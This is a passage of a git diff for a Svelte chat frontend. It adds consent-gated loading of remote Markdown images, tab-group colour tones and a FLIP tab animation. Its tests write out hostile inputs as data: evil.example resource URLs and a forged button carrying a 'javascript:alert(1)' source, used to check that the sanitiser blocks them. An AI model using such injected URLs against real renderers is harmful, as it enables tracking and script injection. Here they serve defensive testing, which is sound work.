// 3. Prose tail.
return {
prefixHtml: s.prefixHtml,
- tailHtml: renderMarkdownTail(s.source.slice(s.settledOffset), s.seed),
+ tailHtml: renderMarkdownTail(s.source.slice(s.settledOffset), s.seed, renderOptionsOf(image)),
};
}
diff --git a/src/features/markdown/ui/Markdown.svelte b/src/features/markdown/ui/Markdown.svelte
index da2c9ba..a0fd276 100644
--- a/src/features/markdown/ui/Markdown.svelte
+++ b/src/features/markdown/ui/Markdown.svelte
@@ -1,16 +1,30 @@
<script lang="ts">
- import { renderMarkdown } from "../logic/markdown";
+ import { type MarkdownImageOptions, renderMarkdown } from "../logic/markdown";
import { advance, createStreamingMarkdown } from "../logic/streaming-markdown";
let {
text,
streaming = false,
+ image = undefined,
}: {
text: string;
/** Balance dangling delimiters while the message is still generating. */
streaming?: boolean;
+ /**
+ * Per-conversation local-image context: the backend HTTP base and the
+ * conversation cwd. Markdown image srcs that are local paths are rewritten
+ * through `${apiBase}/local-image?path=…` (relative paths resolve against
+ * `cwd`). Remote HTTP(S) images require a click; data, same-origin and
+ * backend images load inline. Omit it to skip local-path rewriting.
+ */
+ image?: MarkdownImageOptions;
} = $props();
+ // Keep the optional `image` out of the options object when absent
+ // (exactOptionalPropertyTypes). Identity is irrelevant: the streaming cache
+ // keys on apiBase/cwd values.
+ const renderOpts = $derived(image === undefined ? undefined : { image });
+
// Checkpoint streaming state: one per component instance (per streaming
// message). It caches the settled blocks' HTML so each delta re-renders only
// the live tail — never the settled prefix (see logic/streaming-markdown).
@@ -22,14 +36,14 @@
// chunk): ONE full authoritative render — today's exact behavior, so the
// final/persisted output is byte-identical by construction.
const rendered = $derived.by(() => {
- if (!streaming) return { prefixHtml: "", tailHtml: renderMarkdown(text) };
- return advance(streamingState, text);
+ if (!streaming) return { prefixHtml: "", tailHtml: renderMarkdown(text, renderOpts) };
+ return advance(streamingState, text, renderOpts);
});
let container: HTMLElement;
- // One delegated listener on the stable container handles every code block's
- // copy button — including blocks re-created when the tail html changes
+ // One delegated listener on the stable container handles image consent and
+ // every code block's copy button — including blocks re-created when the tail html changes
// (streaming), since the listener lives on the container, not the buttons.
// Clipboard is the edge effect; absent (insecure context) → no-op.
$effect(() => {
@@ -39,6 +53,26 @@
const onClick = (event: Event): void => {
const target = event.target;
if (!(target instanceof Element)) return;
+ const remote = target.closest<HTMLButtonElement>("button.remote-image[data-src]");
+ if (remote !== null && el.contains(remote)) {
+ event.preventDefault(); // A Markdown image may be wrapped in a link.
+ event.stopPropagation();
+ // data-* is authorable in raw HTML: validate again at the DOM edge.
+ let url: URL;
+ try {
+ url = new URL(remote.dataset.src ?? "");
+ } catch {
+ return;
+ }
+ if (url.protocol !== "http:" && url.protocol !== "https:") return;
+ const img = el.ownerDocument.createElement("img");
+ img.alt = remote.dataset.alt ?? "";
+ if (remote.dataset.title !== undefined) img.title = remote.dataset.title;
+ img.setAttribute("referrerpolicy", "no-referrer");
+ img.src = url.href;
+ remote.replaceWith(img);
+ return;
+ }
const button = target.closest<HTMLButtonElement>("[data-copy]");
if (button === null) return;
diff --git a/src/features/markdown/ui/markdown.test.ts b/src/features/markdown/ui/markdown.test.ts
index 721dddb..b86cc0a 100644
--- a/src/features/markdown/ui/markdown.test.ts
+++ b/src/features/markdown/ui/markdown.test.ts
@@ -39,6 +39,64 @@ describe("Markdown", () => {
expect(writeText.mock.calls[0]?.[0]).toContain("const x = 1;");
});
+ it.each([
+ false,
+ true,
+ ])("loads only the clicked remote image (streaming=%s)", async (streaming) => {
+ const { container } = render(Markdown, {
+ props: {
+ text: '![first](https://evil.example/a.png "A title")\n\n![second](https://other.example/b.png)',
+ streaming,
+ },
+ });
+ expect(container.querySelector("img")).toBeNull();
+ const button = screen.getByRole("button", { name: "Load image from evil.example" });
+ await fireEvent.click(button);
+ const img = container.querySelector("img");
+ expect(img?.getAttribute("src")).toBe("https://evil.example/a.png");
+ expect(img?.getAttribute("alt")).toBe("first");
+ expect(img?.getAttribute("title")).toBe("A title");
+ expect(img?.getAttribute("referrerpolicy")).toBe("no-referrer");
+ expect(
+ screen.getByRole("button", { name: "Load image from other.example" }),
+ ).toBeInTheDocument();
+ });
+
+ it.each([
+ false,
+ true,
+ ])("keeps non-image HTML inert before and after image consent (streaming=%s)", async (streaming) => {
+ const { container } = render(Markdown, {
+ props: {
+ text: '<div style="background:url(https://evil.example/bg)"><video poster="https://evil.example/poster" src="https://evil.example/video"></video><svg><image href="https://evil.example/svg" /></svg><input type="image" src="https://evil.example/input"><img src="https://evil.example/allowed-after-click"></div>',
+ streaming,
+ },
+ });
+ expect(container.querySelector("video,svg,input,[style],img")).toBeNull();
+ await fireEvent.click(screen.getByRole("button", { name: "Load image from evil.example" }));
+ expect(container.querySelectorAll("img")).toHaveLength(1);
+ expect(container.querySelector("img")?.getAttribute("src")).toBe(
+ "https://evil.example/allowed-after-click",
+ );
+ expect(container.querySelector("video,svg,input,[style]")).toBeNull();
+ });
+
+ it("rejects an unsafe URL in a forged placeholder", async () => {
+ const { container } = render(Markdown, {
+ props: { text: '<button class="remote-image" data-src="javascript:alert(1)">Load</button>' },
+ });
+ await fireEvent.click(screen.getByRole("button", { name: "Load" }));
+ expect(container.querySelector("img")).toBeNull();
+ });
+
+ it("delegates clicks on newly rendered images and prevents linked-image navigation", async () => {
+ const { container, rerender } = render(Markdown, { props: { text: "start" } });
+ await rerender({ text: "[![pic](https://evil.example/a.png)](https://other.example)" });
+ const button = screen.getByRole("button", { name: "Load image from evil.example" });
+ expect(await fireEvent.click(button)).toBe(false);
+ expect(container.querySelector("img")?.getAttribute("src")).toBe("https://evil.example/a.png");
+ });
+
it("non-streaming renders a single container (today's full-render path)", () => {
const { container } = render(Markdown, { props: { text: "# Hello" } });
expect(container.querySelector(".markdown-stream-prefix")).toBeNull();
diff --git a/src/features/surface-host/index.ts b/src/features/surface-host/index.ts
index 1e21e3d..f6a3041 100644
--- a/src/features/surface-host/index.ts
+++ b/src/features/surface-host/index.ts
@@ -1,3 +1,4 @@
+export { MESSAGE_QUEUE_RENDERER_ID, messageQueueCount } from "./logic/message-queue";
export { buildInvoke, planSurface } from "./logic/plan";
export type { FieldView, SurfaceRenderPlan } from "./logic/types";
export { default as SurfaceView } from "./ui/SurfaceView.svelte";
diff --git a/src/features/surface-host/logic/message-queue.test.ts b/src/features/surface-host/logic/message-queue.test.ts
index ae91c8f..93256b4 100644
--- a/src/features/surface-host/logic/message-queue.test.ts
+++ b/src/features/surface-host/logic/message-queue.test.ts
@@ -1,6 +1,8 @@
+import type { SurfaceSpec } from "@dispatch/ui-contract";
import type { QueuedMessage } from "@dispatch/wire";
import { describe, expect, it } from "vitest";
import {
+ messageQueueCount,
parseMessageQueuePayload,
reconcileCancelledIds,
selectVisibleMessages,
@@ -103,3 +105,36 @@ describe("reconcileCancelledIds", () => {
expect([...result]).toEqual(["m2"]);
});
});
+
+describe("messageQueueCount", () => {
+ const spec = (payload: unknown): SurfaceSpec => ({
+ id: "message-queue",
+ region: "inline",
+ title: "Message queue",
+ fields: [{ kind: "custom", rendererId: "message-queue", payload }],
+ });
+
+ it("counts messages, including image-only input", () => {
+ expect(messageQueueCount(spec({ messages: [msg("m1", ""), msg("m2", "next")] }))).toBe(2);
+ });
+
+ it("distinguishes an empty queue from an unavailable snapshot", () => {
+ expect(messageQueueCount(spec({ messages: [] }))).toBe(0);
+ expect(messageQueueCount(null)).toBeUndefined();
+ });
+
+ it("returns unknown for missing fields or a different renderer", () => {
+ expect(messageQueueCount({ ...spec(null), fields: [] })).toBeUndefined();
+ expect(
+ messageQueueCount({
+ ...spec(null),
+ fields: [{ kind: "custom", rendererId: "other", payload: { messages: [msg("m1", "x")] } }],
+ }),
+ ).toBeUndefined();
+ });
+
+ it("returns unknown for malformed payloads", () => {
+ expect(messageQueueCount(spec({ messages: "nope" }))).toBeUndefined();
+ expect(messageQueueCount(spec({ messages: [{ id: "m1" }] }))).toBeUndefined();
+ });
+});
diff --git a/src/features/surface-host/logic/message-queue.ts b/src/features/surface-host/logic/message-queue.ts
index 7a3653e..a49d4d0 100644
--- a/src/features/surface-host/logic/message-queue.ts
+++ b/src/features/surface-host/logic/message-queue.ts
@@ -1,3 +1,4 @@
+import type { SurfaceSpec } from "@dispatch/ui-contract";
import type { QueuedMessage } from "@dispatch/wire";
/**
@@ -41,6 +42,15 @@ export function parseMessageQueuePayload(payload: unknown): MessageQueueData | n
return { messages };
}
+/** Queue size from a validated snapshot; absent/malformed data stays unknown. */
+export function messageQueueCount(spec: SurfaceSpec | null): number | undefined {
+ const field = spec?.fields.find(
+ (field) => field.kind === "custom" && field.rendererId === MESSAGE_QUEUE_RENDERER_ID,
+ );
+ if (field?.kind !== "custom") return undefined;
+ return parseMessageQueuePayload(field.payload)?.messages.length;
+}
+
/** The `rendererId` the message-queue extension's `custom` surface field uses. */
export const MESSAGE_QUEUE_RENDERER_ID = "message-queue";
diff --git a/src/features/tabs/index.ts b/src/features/tabs/index.ts
index 0094528..145a3d9 100644
--- a/src/features/tabs/index.ts
+++ b/src/features/tabs/index.ts
@@ -1,12 +1,14 @@
-export type { TabGroupForest, TabGroupNode } from "./tab-groups";
+export type { GroupTone, TabGroupForest, TabGroupNode } from "./tab-groups";
export {
buildTabGroups,
cascadeCloseIds,
directGroupChildren,
+ GROUP_TONES,
groupBleedPx,
groupDescendants,
groupGutterPx,
groupParentCandidates,
+ groupTone,
lastRowIsGroup,
visibleGroupParents,
} from "./tab-groups";
diff --git a/src/features/tabs/tab-flip.test.ts b/src/features/tabs/tab-flip.test.ts
new file mode 100644
index 0000000..43e966f
--- /dev/null
+++ b/src/features/tabs/tab-flip.test.ts
@@ -0,0 +1,52 @@
+import { describe, expect, it } from "vitest";
+import { cardFlipId, forestFlipIds, groupFlipId, isGroupFlipId, leavingFlipIds } from "./tab-flip";
+import { buildTabGroups } from "./tab-groups";
+import type { Tab } from "./tabs";
+
+function tab(id: string, parent?: string): Tab {
+ return {
+ conversationId: id,
+ model: "m",
+ title: id,
+ workspaceId: "w",
+ ...(parent !== undefined ? { tabGroupParentId: parent } : {}),
+ };
+}
+
+describe("flip ids", () => {
+ it("distinguishes a card from the group box of the same conversation", () => {
+ expect(cardFlipId("p")).not.toBe(groupFlipId("p"));
+ expect(isGroupFlipId(groupFlipId("p"))).toBe(true);
+ expect(isGroupFlipId(cardFlipId("p"))).toBe(false);
+ });
+});
+
+describe("forestFlipIds", () => {
+ it("lists every card plus a box for each tab that has visible subagents", () => {
+ const forest = buildTabGroups([tab("p"), tab("c", "p"), tab("g", "c"), tab("solo")]);
+ expect([...forestFlipIds(forest)].sort()).toEqual(
+ ["c", "g", "group:c", "group:p", "p", "solo"].sort(),
+ );
+ });
+
+ it("has no boxes when nothing is grouped", () => {
+ expect([...forestFlipIds(buildTabGroups([tab("a"), tab("b")]))]).toEqual(["a", "b"]);
+ });
+});
+
+describe("leavingFlipIds", () => {
+ it("returns the rendered ids the next render drops, in rendered order", () => {
+ const before = buildTabGroups([tab("p"), tab("c", "p"), tab("solo")]);
+ // Closing the only subagent drops its card AND the parent's group box.
+ const after = buildTabGroups([tab("p"), tab("solo")]);
+ expect(leavingFlipIds([...forestFlipIds(before)], forestFlipIds(after))).toEqual([
+ "group:p",
+ "c",
+ ]);
+ });
+
+ it("is empty when a tab is only added", () => {
+ const next = forestFlipIds(buildTabGroups([tab("a"), tab("b", "a")]));
+ expect(leavingFlipIds(["a"], next)).toEqual([]);
+ });
+});
diff --git a/src/features/tabs/tab-flip.ts b/src/features/tabs/tab-flip.ts
new file mode 100644
index 0000000..3bb4c03
--- /dev/null
+++ b/src/features/tabs/tab-flip.ts
@@ -0,0 +1,45 @@
+import type { TabGroupForest, TabGroupNode } from "./tab-groups";
+
+/**
+ * Flip ids — the PURE identity scheme behind the tab grid's FLIP animation.
+ *
+ * Every animated element carries a `data-flip-id`: a tab card uses its
+ * conversation id, a group box uses `group:<parent conversation id>`. The ids
+ * are stable across re-renders even when the DOM node is replaced (a card
+ * becoming a double-width group parent is a NEW node), which is what lets
+ * GSAP Flip morph the old element into the new one.
+ */
+
+const GROUP_PREFIX = "group:";
+
+/** Flip id of a tab card. */
+export function cardFlipId(conversationId: string): string {
+ return conversationId;
+}
+
+/** Flip id of the group box wrapping `parentConversationId` + its subagents. */
+export function groupFlipId(parentConversationId: string): string {
+ return `${GROUP_PREFIX}${parentConversationId}`;
+}
+
+/** Whether a flip id names a group box (vs a tab card). */
+export function isGroupFlipId(flipId: string): boolean {
+ return flipId.startsWith(GROUP_PREFIX);
+}
+
+/** Every flip id the grid renders for `forest` (cards + group boxes). */
+export function forestFlipIds(forest: TabGroupForest): Set<string> {
+ const out = new Set<string>();
+ const walk = (node: TabGroupNode): void => {
+ out.add(cardFlipId(node.tab.conversationId));
+ if (node.children.length > 0) out.add(groupFlipId(node.tab.conversationId));
+ for (const child of node.children) walk(child);
+ };
+ for (const root of forest.roots) walk(root);
+ return out;
+}
+
+/** The currently-rendered flip ids that the NEXT render drops (order kept). */
+export function leavingFlipIds(current: readonly string[], next: ReadonlySet<string>): string[] {
+ return current.filter((id) => !next.has(id));
+}
diff --git a/src/features/tabs/tab-groups.test.ts b/src/features/tabs/tab-groups.test.ts
index a89a469..67150ff 100644
--- a/src/features/tabs/tab-groups.test.ts
+++ b/src/features/tabs/tab-groups.test.ts
@@ -7,6 +7,7 @@ import {
groupDescendants,
groupGutterPx,
groupParentCandidates,
+ groupTone,
lastRowIsGroup,
visibleGroupParents,
} from "./tab-groups";
@@ -132,6 +133,36 @@ describe("cascadeCloseIds (the ids a cascading tab close removes)", () => {
});
});
+describe("groupTone", () => {
+ it("rotates three colours by level, starting at the outermost box", () => {
+ expect([1, 2, 3, 4, 5, 6, 7].map(groupTone)).toEqual([
+ "secondary",
+ "success",
+ "accent",
+ "secondary",
+ "success",
+ "accent",
+ "secondary",
+ ]);
+ });
+
+ it("never gives a box the colour of its parent or grandparent", () => {
+ for (let level = 3; level <= 20; level++) {
+ expect(groupTone(level)).not.toBe(groupTone(level - 1));
+ expect(groupTone(level)).not.toBe(groupTone(level - 2));
+ }
+ });
+
+ it("never uses primary (reserved for the active tab)", () => {
+ for (let level = 1; level <= 6; level++) expect(groupTone(level)).not.toBe("primary");
+ });
+
+ it("stays in range for out-of-range levels", () => {
+ expect(groupTone(0)).toBe("accent");
+ expect(groupTone(-1)).toBe("success");
+ });
+});
+
describe("groupBleedPx / groupGutterPx", () => {
it("is zero without groups", () => {
expect(groupGutterPx(0)).toBe(0);
diff --git a/src/features/tabs/tab-groups.ts b/src/features/tabs/tab-groups.ts
index a1aa464..ff3ddd4 100644
--- a/src/features/tabs/tab-groups.ts
+++ b/src/features/tabs/tab-groups.ts
@@ -169,6 +169,22 @@ export function lastRowIsGroup(children: readonly TabGroupNode[]): boolean {
}
/**
+ * The DaisyUI theme colour a group box at nesting `level` (1 = outermost) is
+ * tinted with. Three colours ROTATE by level, so a box always differs from
+ * the box around it AND from the one around that (with two colours a box
+ * would match its grandparent). `primary` is deliberately excluded — it marks
+ * the active tab, which must stay legible inside any box.
+ */
+export const GROUP_TONES = ["secondary", "success", "accent"] as const;
+export type GroupTone = (typeof GROUP_TONES)[number];
+
+export function groupTone(level: number): GroupTone {
+ const n = GROUP_TONES.length;
+ const i = (((Math.trunc(level) - 1) % n) + n) % n; // non-negative even for level < 1
+ return GROUP_TONES[i] ?? GROUP_TONES[0];
+}
+
+/**
* Horizontal bleed (px) of a group box at nesting `level` (1 = outermost)
* when the deepest box is `maxDepth`. A box bleeds OUTWARD by this much (a
* negative margin + equal padding), so the cards inside every box sit on
diff --git a/src/features/tabs/ui.test.ts b/src/features/tabs/ui.test.ts
index 0243ea4..88b89bf 100644
--- a/src/features/tabs/ui.test.ts
+++ b/src/features/tabs/ui.test.ts
@@ -1,6 +1,7 @@
import { fireEvent, render, screen, within } from "@testing-library/svelte";
import userEvent from "@testing-library/user-event";
-import { describe, expect, it, vi } from "vitest";
+import { gsap } from "gsap";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import type { Tab } from "./tabs";
import TabList from "./ui/TabList.svelte";
@@ -186,7 +187,7 @@ describe("TabList", () => {
}
});
- it("fixes the tab grid region at 40vh so a long set scrolls internally", () => {
+ it("fixes the tab grid region at 70vh so a long set scrolls internally", () => {
render(TabList, {
props: {
tabs: sampleTabs,
@@ -199,7 +200,7 @@ describe("TabList", () => {
const tabs = screen.getAllByRole("tab");
const region = tabs[0]?.parentElement?.parentElement;
- expect(region).toHaveClass("h-[40vh]");
+ expect(region).toHaveClass("h-[70vh]");
expect(region).toHaveClass("overflow-y-auto");
});
@@ -383,9 +384,16 @@ describe("TabList", () => {
s?.paddingLeft,
]);
}
- // Every box paints a 15% lavender tint, so nested boxes compound per level.
- expect(outer).toHaveClass("bg-secondary/15");
- expect(inner).toHaveClass("bg-secondary/15");
+ // Each level is tinted with its own rotating theme colour.
+ expect(outer?.dataset.tone).toBe("secondary");
+ expect(inner?.dataset.tone).toBe("success");
+ // The tint lives on each box's own backdrop layer (FLIP fades it in).
+ const tint = (box: HTMLElement | null) =>
+ box
+ ?.querySelector<HTMLElement>(":scope > [data-group-backdrop]")
+ ?.style.getPropertyValue("--group-tone");
+ expect(tint(outer)).toBe("var(--color-secondary)");
+ expect(tint(inner)).toBe("var(--color-success)");
expect(outer?.style.getPropertyValue("margin-inline")).toBe(`-${outer?.style.paddingLeft}`);
});
@@ -416,6 +424,134 @@ describe("TabList", () => {
expect(document.querySelector("[data-tab-group]")).toBeNull();
});
+ describe("FLIP animation (motion allowed)", () => {
+ /** Jump every running GSAP animation to `progress` (0–1), delays included. */
+ function seekAnimations(progress: number): void {
+ for (const t of gsap.globalTimeline.getChildren(true, true, false)) t.progress(progress);
+ }
+
+ // jsdom has no matchMedia, which the grid reads as "no motion" — stub
+ // the outermost edge so the GSAP Flip path actually runs.
+ beforeEach(() => {
+ vi.stubGlobal(
+ "matchMedia",
+ vi.fn(() => ({ matches: false }) as unknown as MediaQueryList),
+ );
+ });
+ afterEach(() => {
+ vi.unstubAllGlobals();
+ });
+
+ const props = {
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose: vi.fn(),
+ onNewDraft: vi.fn(),
+ onSetTabGroup: vi.fn(),
+ };
+
+ it("leaves an inert ghost of a closed tab (and its dissolved box) that is never a tab", async () => {
+ const two = grouped.filter((t) => ["p", "c1", "solo"].includes(t.conversationId));
+ const { rerender } = render(TabList, { props: { ...props, tabs: two } });
+ // jsdom lays nothing out (every box is 0×0) — give elements a real size.
+ const rect = vi
+ .spyOn(Element.prototype, "getBoundingClientRect")
+ .mockReturnValue(new DOMRect(0, 0, 120, 72));
+ // Close c1: its card AND p's group box leave.
+ await rerender({ ...props, tabs: two.filter((t) => t.conversationId !== "c1") });
+ rect.mockRestore();
+
+ const ghosts = [...document.querySelectorAll<HTMLElement>("[data-tab-ghost]")];
+ expect(ghosts).toHaveLength(2);
+ for (const g of ghosts) {
+ expect(g).toHaveAttribute("aria-hidden", "true");
+ expect(g.querySelector("[data-conversation-id],[data-flip-id],[role]")).toBeNull();
+ }
+ // Paint order: the dissolving box's tint goes FIRST in its enclosing
+ // grid (under every card); the closed card's ghost goes on top.
+ const grid = screen.getByRole("tablist");
+ const boxGhost = grid.firstElementChild as HTMLElement;
+ expect(boxGhost).toHaveAttribute("data-tab-ghost");
+ // A clipping frame around a copy of the tint only — no card copies.
+ expect(boxGhost.childElementCount).toBe(1);
+ expect(boxGhost.firstElementChild?.childElementCount).toBe(0);
+ // Ghosts SHRINK (a clipped height), they don't fade or scale: halfway
+ // through, each is shorter than it started; at the end they're gone.
+ const full = ghosts.map((g) => Number.parseFloat(g.style.height));
+ seekAnimations(0.5);
+ ghosts.forEach((g, i) => {
+ expect(g.style.overflow).toBe("hidden");
+ expect(g.style.opacity).toBe("");
+ expect(Number.parseFloat(g.style.height)).toBeLessThan(full[i] ?? 0);
+ });
+ const cardGhost = ghosts.find((g) => g !== boxGhost);
+ expect(cardGhost?.parentElement).toBe(grid.parentElement);
+ expect(cardGhost).toHaveTextContent("Child 1");
+ // Ghosts are invisible to queries: only the real remaining tabs count.
+ expect(screen.getAllByRole("tab").map((t) => t.dataset.conversationId)).toEqual([
+ "p",
+ "solo",
+ ]);
+ expect(screen.getAllByRole("button", { name: "Close tab" })).toHaveLength(2);
+ seekAnimations(1);
+ expect(document.querySelector("[data-tab-ghost]")).toBeNull();
+ });
+
+ it("measures each element at most twice per change (no layout thrash)", async () => {
+ // Regression: GSAP's Flip plugin cost ~430ms of main-thread work per
+ // close with ~40 nested tabs. The hand-rolled FLIP reads every element's
+ // box once before the change and once after — never per tween.
+ const { rerender } = render(TabList, { props: { ...props, tabs: grouped } });
+ const elements = document.querySelectorAll("[data-flip-id]").length;
+ const spy = vi.spyOn(Element.prototype, "getBoundingClientRect");
+ try {
+ await rerender({ ...props, tabs: grouped.filter((t) => t.conversationId !== "c2") });
+ // 2 per element + 1 host read per ghost (one ghost here: c2's card).
+ expect(spy.mock.calls.length).toBeLessThanOrEqual(2 * elements + 1);
+ } finally {
+ spy.mockRestore();
+ }
+ });
+
+ it("does not ghost anything when a subagent is summoned", async () => {
+ const base = grouped.filter((t) => ["p", "solo"].includes(t.conversationId));
+ const { rerender } = render(TabList, { props: { ...props, tabs: base } });
+ await rerender({ ...props, tabs: grouped });
+ expect(document.querySelector("[data-tab-ghost]")).toBeNull();
+ expect(screen.getAllByRole("tab")).toHaveLength(grouped.length);
+ // New cards start fully clipped (0 visible height) and grow in from
+ // the top edge; once done no motion style is left behind.
+ const ids = ["c1", "c2", "g"];
+ for (const id of ids) expect(card(id).style.clipPath).toBe("inset(0% 0% 100% 0%)");
+ seekAnimations(1);
+ for (const id of ids) {
+ expect(card(id).style.clipPath).toBe("");
+ expect(card(id).style.transform).toBe("");
+ }
+ });
+ });
+
+ it("never animates when the user prefers reduced motion", async () => {
+ vi.stubGlobal(
+ "matchMedia",
+ vi.fn(() => ({ matches: true }) as unknown as MediaQueryList),
+ );
+ try {
+ const props = {
+ tabs: grouped,
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose: vi.fn(),
+ onNewDraft: vi.fn(),
+ };
+ const { rerender } = render(TabList, { props });
+ await rerender({ ...props, tabs: grouped.filter((t) => t.conversationId !== "c2") });
+ expect(document.querySelector("[data-tab-ghost]")).toBeNull();
+ } finally {
+ vi.unstubAllGlobals();
+ }
+ });
+
it("keeps the parent wide while a nested descendant's own parent remains open", async () => {
const props = {
tabs: grouped,
diff --git a/src/features/tabs/ui/TabCard.svelte b/src/features/tabs/ui/TabCard.svelte
index a95f8e6..ae891c0 100644
--- a/src/features/tabs/ui/TabCard.svelte
+++ b/src/features/tabs/ui/TabCard.svelte
@@ -1,4 +1,5 @@
<script lang="ts">
+ import { cardFlipId } from "../tab-flip";
import type { Tab } from "../tabs";
/**
@@ -115,6 +116,7 @@
aria-selected={active}
title={tab.title}
data-conversation-id={tab.conversationId}
+ data-flip-id={cardFlipId(tab.conversationId)}
data-wide={wide ? "true" : undefined}
onclick={() => {
if (suppressClick) {
diff --git a/src/features/tabs/ui/TabGroupBox.svelte b/src/features/tabs/ui/TabGroupBox.svelte
index a941814..5b644e0 100644
--- a/src/features/tabs/ui/TabGroupBox.svelte
+++ b/src/features/tabs/ui/TabGroupBox.svelte
@@ -1,7 +1,8 @@
<script lang="ts">
import type { Snippet } from "svelte";
import type { TabGroupNode } from "../tab-groups";
- import { groupBleedPx, lastRowIsGroup } from "../tab-groups";
+ import { groupFlipId } from "../tab-flip";
+ import { groupBleedPx, groupTone, lastRowIsGroup } from "../tab-groups";
import type { Tab } from "../tabs";
import TabGroupBox from "./TabGroupBox.svelte";
@@ -13,9 +14,13 @@
* inside stay on the same two columns as top-level cards: every card keeps
* identical dimensions at every depth. The padding is EQUAL on all four
* sides (= the bleed) so the box looks even — except below a nested box on
- * the last row, where it is trimmed to match that box's side gaps. Every
- * box paints a 15% secondary (lavender) tint, which compounds: each
- * nesting level reads a little stronger than the one around it.
+ * the last row, where it is trimmed to match that box's side gaps. Each
+ * box is tinted with one of three theme colours ROTATING by level
+ * (`groupTone`), painted OPAQUE (mixed into the sidebar well colour) so a
+ * nested box never blends with the box around it, plus a border in the same
+ * colour so every box edge reads at a glance. The tint lives on its own
+ * BACKDROP layer so the FLIP animation (`tab-flip.ts`) can fade a new
+ * group's tint in while its cards fly into place.
*/
let {
node,
@@ -32,6 +37,7 @@
} = $props();
const bleed = $derived(groupBleedPx(level, maxDepth));
+ const tone = $derived(groupTone(level));
// Even spacing: when the last row is a nested box, the gap below it would
// be this box's full padding while its side gaps are only the DIFFERENCE
// in bleed (the nested box bleeds outward too) — trim the bottom to match.
@@ -41,15 +47,23 @@
</script>
<div
- class="col-span-2 rounded-lg bg-secondary/15"
+ class="relative col-span-2"
style:margin-inline="-{bleed}px"
style:padding="{bleed}px {bleed}px {padBottom}px"
role="group"
aria-label={`Subagents of ${node.tab.title}`}
data-tab-group={node.tab.conversationId}
data-level={level}
+ data-tone={tone}
+ data-flip-id={groupFlipId(node.tab.conversationId)}
>
- <div class="grid grid-flow-row-dense grid-cols-2 gap-1.5">
+ <div
+ class="tab-group-backdrop pointer-events-none absolute inset-0 rounded-lg"
+ style:--group-tone="var(--color-{tone})"
+ data-group-backdrop
+ aria-hidden="true"
+ ></div>
+ <div class="relative grid grid-flow-row-dense grid-cols-2 gap-1.5">
{@render card(node.tab, true, node.children.length)}
{#each node.children as child (child.tab.conversationId)}
{#if child.children.length > 0}
@@ -60,3 +74,17 @@
{/each}
</div>
</div>
+
+<style>
+ /* Opaque tint: the tone mixed into the sidebar's `.inset-well` colour (the
+ surface the tab grid sits on), so nested boxes replace — never compound
+ with — the colour around them. */
+ .tab-group-backdrop {
+ background-color: color-mix(
+ in oklab,
+ var(--group-tone) 16%,
+ var(--inset-well-bg, var(--color-base-200))
+ );
+ box-shadow: inset 0 0 0 1px color-mix(in oklab, var(--group-tone) 55%, transparent);
+ }
+</style>
diff --git a/src/features/tabs/ui/TabList.svelte b/src/features/tabs/ui/TabList.svelte
index 4b96e08..0493b5c 100644
--- a/src/features/tabs/ui/TabList.svelte
+++ b/src/features/tabs/ui/TabList.svelte
@@ -1,4 +1,6 @@
<script lang="ts">
+ import { untrack } from "svelte";
+ import { forestFlipIds } from "../tab-flip";
import {
buildTabGroups,
cascadeCloseIds,
@@ -13,6 +15,7 @@
import TabCard from "./TabCard.svelte";
import TabGroupBox from "./TabGroupBox.svelte";
import TabMenu from "./TabMenu.svelte";
+ import { createTabFlip } from "./tab-flip";
let {
tabs,
@@ -53,6 +56,20 @@
const forest = $derived(buildTabGroups(tabs));
const gutter = $derived(groupGutterPx(forest.maxDepth));
+ // FLIP: a summoned subagent / closed tab / regroup animates (GSAP Flip).
+ // Capture positions (+ ghost leaving elements) BEFORE the DOM updates, play
+ // AFTER. Keyed on `forest` only; the DOM work itself is untracked.
+ let scrollerEl = $state<HTMLDivElement | undefined>();
+ const flip = createTabFlip(() => scrollerEl);
+ $effect.pre(() => {
+ const next = forestFlipIds(forest);
+ untrack(() => flip.capture(next));
+ });
+ $effect(() => {
+ void forest;
+ untrack(() => flip.play());
+ });
+
// Tab menu (right-click / touch-and-hold). Local UI state owned here.
let menu = $state<{ conversationId: string; x: number; y: number } | null>(null);
const menuTab = $derived(
@@ -112,17 +129,18 @@
{/snippet}
<div class="flex flex-col gap-2">
- <!-- 2-column grid of same-size tab cards, fixed at 40% of the viewport height
+ <!-- 2-column grid of same-size tab cards, fixed at 70% of the viewport height
so a long tab set scrolls inside this region instead of growing the
sidebar. Subagent groups span both columns; `dense` lets a later card
fill the half-row a group would otherwise leave empty. -->
<div
- class="h-[40vh] overflow-y-auto py-0.5"
+ bind:this={scrollerEl}
+ class="relative h-[70vh] overflow-y-auto py-0.5"
style:padding-inline="{gutter}px"
data-tab-grid
onscroll={() => (menu = null)}
>
- <div class="grid grid-flow-row-dense grid-cols-2 gap-1.5" role="tablist">
+ <div class="relative grid grid-flow-row-dense grid-cols-2 gap-1.5" role="tablist">
{#each forest.roots as node (node.tab.conversationId)}
{#if node.children.length > 0}
<TabGroupBox {node} level={1} maxDepth={forest.maxDepth} {card} />
diff --git a/src/features/tabs/ui/tab-flip.ts b/src/features/tabs/ui/tab-flip.ts
new file mode 100644
index 0000000..ac9daaf
--- /dev/null
+++ b/src/features/tabs/ui/tab-flip.ts
@@ -0,0 +1,374 @@
+import { gsap } from "gsap";
+import { isGroupFlipId, leavingFlipIds } from "../tab-flip";
+
+/**
+ * FLIP animation for the tab grid — the DOM EFFECT half (the pure id scheme
+ * lives in `../tab-flip.ts`).
+ *
+ * Driven by the owning component in two calls:
+ * - `capture(nextIds)` — BEFORE the DOM updates: measure every
+ * `[data-flip-id]` element (First), and build an inert GHOST for each
+ * element the next render drops (a closed tab / dissolved group box).
+ * - `play()` — AFTER the DOM updates: measure again (Last), then run three
+ * STAGGERED phases, each only when it has something to do —
+ * 1. SHRINK — ghosts collapse to 0 height (everything else holds still);
+ * 2. MOVE — cards slide from their old box to their new one, and each
+ * group box's tint morphs from its old rect to its new one;
+ * 3. GROW — new cards (and new group boxes' tints) grow from 0 height.
+ *
+ * PERFORMANCE: this is a hand-rolled FLIP, not GSAP's Flip plugin. Flip
+ * recorded computed styles per element and re-measured while building its
+ * timeline — ~430ms of main-thread work per close with ~40 nested tabs, which
+ * both delayed the click and swallowed the shrink phase. Here each change
+ * costs exactly two batched layout reads (one in `capture`, one in `play`);
+ * every write happens after its batch of reads. Each phase is ONE GSAP tween
+ * on a plain progress value whose `onUpdate` writes inline styles directly —
